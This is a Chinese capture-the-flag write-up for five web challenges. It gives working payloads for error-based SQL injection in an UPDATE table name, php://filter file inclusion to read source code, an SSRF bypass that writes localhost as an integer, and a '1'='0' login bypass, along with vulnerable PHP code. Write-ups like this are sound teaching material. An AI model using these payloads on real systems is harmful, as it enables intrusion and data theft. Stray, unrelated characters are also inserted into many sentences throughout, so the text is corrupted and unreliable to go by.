http://game.rootk.pw:51001/web1/
并不是簽到題7侠邸5嗣贰!
my password: G00dPassw0rD不是flag九默。
Robots協(xié)議(也稱(chēng)為爬蟲(chóng)協(xié)議震放、機(jī)器人協(xié)議等)的全稱(chēng)是“網(wǎng)絡(luò)爬蟲(chóng)排除標(biāo)準(zhǔn)”(Robots Exclusion Protocol),網(wǎng)站通過(guò)Robots協(xié)議告訴搜索引擎哪些頁(yè)面可以抓取驼修,哪些頁(yè)面不能抓取殿遂。
robots.txt文件是一個(gè)文本文件诈铛,使用任何一個(gè)常見(jiàn)的文本編輯器,比如Windows系統(tǒng)自帶的Notepad墨礁,就可以創(chuàng)建和編輯它幢竹。robots.txt是一個(gè)協(xié)議,而不是一個(gè)命令恩静。robots.txt是搜索引擎中訪問(wèn)網(wǎng)站的時(shí)候要查看的第一個(gè)文件焕毫。robots.txt文件告訴蜘蛛程序在服務(wù)器上什么文件是可以被查看的。
當(dāng)一個(gè)搜索蜘蛛訪問(wèn)一個(gè)站點(diǎn)時(shí)驶乾,它會(huì)首先檢查該站點(diǎn)根目錄下是否存在robots.txt邑飒,如果存在,搜索機(jī)器人就會(huì)按照該文件中的內(nèi)容來(lái)確定訪問(wèn)的范圍级乐;如果該文件不存在疙咸,所有的搜索蜘蛛將能夠訪問(wèn)網(wǎng)站上所有沒(méi)有被口令保護(hù)的頁(yè)面。建議风科,僅當(dāng)您的網(wǎng)站包含不希望被搜索引擎收錄的內(nèi)容時(shí)撒轮,才需要使用robots.txt文件。如果您希望搜索引擎收錄網(wǎng)站上所有內(nèi)容贼穆,請(qǐng)勿建立robots.txt文件题山。
如果將網(wǎng)站視為酒店里的一個(gè)房間,robots.txt就是主人在房間門(mén)口懸掛的“請(qǐng)勿打擾”或“歡迎打掃”的提示牌故痊。這個(gè)文件告訴來(lái)訪的搜索引擎哪些房間可以進(jìn)入和參觀顶瞳,哪些房間因?yàn)榇娣刨F重物品,或可能涉及住戶及訪客的隱私而不對(duì)搜索引擎開(kāi)放崖蜜。但robots.txt不是命令浊仆,也不是防火墻,如同守門(mén)人無(wú)法阻止竊賊等惡意闖入者豫领。
繼續(xù)進(jìn)入secret_flag_file.php:
說(shuō)了要post剛才的password,拿到flag舔琅。
Done.
PS:使用FireFox的Hackbar插件等恐,就能實(shí)現(xiàn);或者使用BurpSuite备蚓。
http://game.rootk.pw:51001/web2/
SQL注入+代碼審計(jì)课蔬。
首先看代碼:
/*這里說(shuō)明表名是#web2#,并不包含flag郊尝。
mysql:
create table `#web2#`(
pid INT(11) NOT NULL AUTO_INCREMENT,
name VARCHAR(255) NOT NULL UNIQUE,
PRIMARY KEY(pid)
);
*/
php code:
$db = array(
'DB_HOST' => 'localhost',
'DB_USER' => 'web2',
'DB_PWD' => 'xxx',
'DB_CHAR' => 'utf8', #使用了utf8字符集的數(shù)據(jù)庫(kù)二跋,說(shuō)明寬字節(jié)注入沒(méi)戲
'DB_NAME' => 'xxx',
);
$conn = mysql_connect($db['DB_HOST'], $db['DB_USER'], $db['DB_PWD']) or exit(mysql_error());
mysql_select_db($db['DB_NAME'], $conn) or exit(mysql_error());
mysql_query("SET NAMES " . $db['DB_CHAR']);
$data = addslashes($_GET['data']);
/*SQL語(yǔ)句被換行了,說(shuō)明是尾部注釋?zhuān)骰瑁换蛘?或者--)沒(méi)戲
$sql = "UPDATE `{$data}`
SET `name`='test'
WHERE pid=1";
echo $sql;
$res = mysql_query($sql) or exit(mysql_error());//說(shuō)明需要構(gòu)造報(bào)錯(cuò)型注入
mysql_close($conn);
//綜合幾點(diǎn)扎即,只能在表名本身做手腳了
PS:推薦大家一個(gè)練習(xí)CTF的本地環(huán)境吞获。
DVWA。
相關(guān)配置會(huì)在稍后整理出來(lái)谚鄙。
因?yàn)楦氵@個(gè)浪費(fèi)了不少時(shí)間然后發(fā)現(xiàn)其實(shí)是Apache有個(gè)坑各拷,這貨特喵居然默認(rèn)沒(méi)有加載PHP模塊。知道這個(gè)之后一分鐘就搞定了闷营。
先看update語(yǔ)句的一個(gè)姿勢(shì):
mysql> show tables;
+----------------+
| Tables_in_dvwa |
+----------------+
| #web2# |
| guestbook |
| users |
+----------------+
3 rows in set (0.00 sec)
mysql> update `#web2#` t left join (select * from users) y on t.`name` = y.`user` SET `name` = 'test' where pid = 9999;
Query OK, 0 rows affected (0.00 sec)
Rows matched: 0 Changed: 0 Warnings: 0
說(shuō)明表名部分可以做左連接查詢(xún)烤黍, 而紅色部分就是我們要做注入的參數(shù)。
需要觸發(fā)報(bào)錯(cuò)注入傻盟,找一個(gè)payload速蕊,Exp(~(select * from (select user())a)) (詳情看CTF in web)
http://game.rootk.pw:51001/web2/
?data=%23web2%23` t left join (select Exp(~(select * from (select user())a))) y on 11 = y.`xxx
成功注入:
那剩下的步驟就是利用information_schema來(lái)獲取表名和列名, 最后:
Done.
http://game.rootk.pw:51001/web3/
http://game.rootk.pw:51001/web3/index.php?m=login
文件上傳漏洞娘赴。
php://filter/convert.base64_encode/resource=login
分析:
- 嘗試注入互例,貌似沒(méi)什么結(jié)果
- url是http://game.rootk.pw:51001/web3/index.php?m=login, m 一般就是module筝闹, 在php的MVC模式設(shè)計(jì)中媳叨, m = login 一般代表 include(login.php)
- 確認(rèn)login.php 存在,并且html代碼和index.php?m=login一致关顷, 那就存在文件包含
- 利用php://filter/convert.base64-encode/resource=index實(shí)現(xiàn)讀取文件源碼(注意.php留著和去掉都要試)
base64解碼后糊秆,得到index.php:
- 同樣的方法得到login.php的代碼
- 發(fā)現(xiàn)了flag.php,同樣的方法讀取代碼
ASCII解碼就得到flag:
Done.
http://game.rootk.pw:51001/web4/
分析:
- 提示flag_file.php
- 進(jìn)入flag_file.php议双, 看到127.0.0.1痘番, 再留意之前index.php的參數(shù)url,不用多想平痰,這一定是SSRF的利用
- 進(jìn)一步驗(yàn)證了是SSRF:
- 直接使用127.0.0.1 不行汞舱,可能做了關(guān)鍵字過(guò)濾
- 把127.0.0.1轉(zhuǎn)成整數(shù)或者localhost,成功拿到flag
Done.
http://game.rootk.pw:51001/web5/
一上來(lái)二話不說(shuō)宗雇,萬(wàn)能口令走起(用戶名和密碼都是1'='0)昂芜,拿到flag
select * from users where username='1'='0' and password='1'='0'
username='1'='0' => "0"="0" => true
password='1'='0' => "0"="0" => true
mysql中字符串(非1)和1比較都等于0
當(dāng)然,也可以都寫(xiě)'-'
MySQL黑魔法:隱式轉(zhuǎn)換赔蒲。
之后會(huì)另開(kāi)一文詳細(xì)介紹泌神。